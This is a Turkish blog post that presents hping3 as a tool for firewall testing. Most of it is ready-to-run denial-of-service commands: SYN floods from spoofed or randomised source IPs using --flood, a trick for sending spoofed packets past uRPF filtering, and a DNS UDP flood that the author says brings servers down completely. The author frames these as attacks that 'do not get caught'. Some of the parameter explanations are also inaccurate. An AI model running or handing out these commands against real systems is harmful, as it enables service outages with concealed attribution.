ddosprotection

Linux hping3 üzerinden Firewall testleri

DDoS testleri gerçekleştirilirken genellikle test yapılan ağın çıkışındaki bir ağ/güvenlik cihazı üretilen sahte ip paketlerini URPF’den (ya da benzeri bir özellikten) dolayı engelliyor olabilir. Bu gibi durumlarda DDoS testlerinde üretilen paketler internete çıkamayacağı için hedef sisteme etkisi olmayacaktır. Bu gibi ortamlarda gönderilecek paketler kullanılan sistemle aynı subnetten üretilirse (mesela DDoS testi icin kullanılan sistemin ip adresi 192.168.1.3/24 olsun, burada 192.168.1.0/24 subnetinden rastgele ip kullanılabilir) URPF’e takılmadan hedef sisteme erişecektir.
DDoS testlerinde yoğun kullanılan Hping,  network testleri icin kullanilan acik kaynak kodlu bir yazilimdir. Ozellikle –rand-source parametresi ile kaynak ip adreslerinin değişken olması sağlanabilmektedir.

Ancak istenen ip adres blogundan kaynak paketlerin gonderilebilmesi hping ile on tanımlı olarak saglanamamaktadir. BGA ekibinden Omer Albayrak tarafından  geliştirilen yama ile bu ozellik –rand-pattern-source parametresi ile sağlanabilmektedir. Ilgili yamanın uygulanması ve sonrasında kullanımına  dair ayrıntılar aşağıda anlatılmaktadır.

Kuruluma geçelim (Centos)

yum install -y epel-release

yum install -y hping3

 

komutuyla centos üzerine hping3 kurulumunu gerçekleştirdik. Debian ubuntu ve apt deposuyla çalışanlar için,

apt-get install -y tcl8.4 tcl8.4-dev

apt-get install -y hping3

 

veya tüm sistemler için

mkdir /usr/local/include/net
ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h
wget <a href="http://www.hping.org/hping3-20051105.tar.gz" target="_blank">http://www.hping.org/hping3-<wbr />20051105.tar.gz</a>
tar -zxvf hping3-20051105.tar.gz
cd hping3-20051105/
patch -p1 -i ../hping-rand-pattern.patch
./configure; make; make install

 

komutuyla tüm linux sürümleri için hping3’ü kurmuş olduk. Örneğin 127.0.0.1 ip adresinin tcp/8080 portuna 5.5.5.x kaynak ip adres blogundan paket gondermek icin (yani 5.5.5.x olarak ip adresimizi gösterip(fake hedef site kandırma amacı) 127.0.0.1’e saldırma);

hping3 -c 3 -S -p 8080 127.0.0.1 --rand-pattern-source 5.5.5.x

 

Syn saldırılarına geçelim şu komut ile hedef-ip ve hedef-port olarak saldıralım;

hping3 -p hedef-port -S hedef-ip

 

İp adresimizi gizleyip fake ipten saldırma komutu syn flood için,

hping3 -a fake-kullaniacak-ip -p hedef-port -S hedef-ip

 

Başlangıcı fake ipten başlatıp sürekli fake ip oluşturarak saldırmak için ise,

hping3 -p hedef-port -S hedef-ip --rand-source

 

Flood izinli sunucularda ise, saldırının bel kemiği olan flood parametresi ile yerle bir edilmesi kaçınılmazdır 🙂 Sizlere tüm parametreler tam doldurulmuş syn halini göstereyim. hedef-port ve hedef-ip bölmünü doldurmanız yeterli olacaktır.


hping3 -c 10000 -d 120 -S -w 64 -p hedef-port --flood --rand-source hedef-ip

Değişken isimlerine gelirsek,

 

  • hping3 = Aplikasyon adı
  • -c 100000 = Gönderilecek Paket Sayısı
  • -d 120 = Gönderilecek Paket büyüklüğü
  • -S = Syn Flood Parametresi.
  • -w 64 = TCP Pencere boyutu.
  • -p 21 = Hedef Port.
  • --flood = Saldırının bel kemiği bu olmazsa saldırı bir hiç diyebiliriz. Fake ip üretip saldırır yakalanmaz.
  • --rand-source = Farklı kaynaklardan IP üretir. Bu olmadan flood parametresi çalışmaz.
  • hedef-ip = Bu ise, adından anlaşılıyor :)

Ve sizlere DNS Flood’u da vererek yazıyı bitirmek istiyorum. Bizde sıkılıyoruz hani yazarken 🙂 DNS UDP Floodtur. Buda kodummu otutturur. Sunucu çöker kökten. Sunucu çökmese bile o alan adına erişim olmaz.

hping3 --flood --rand-source --udp -p 53 dns_sunucu_ip_adresi -d 450

Değişkenleri artık anlamışsınızdır diyerek, Yazıyı bitirmek istiyorum. Başka bir yazıda görüşmek üzere…

Furkan Sandal

hosting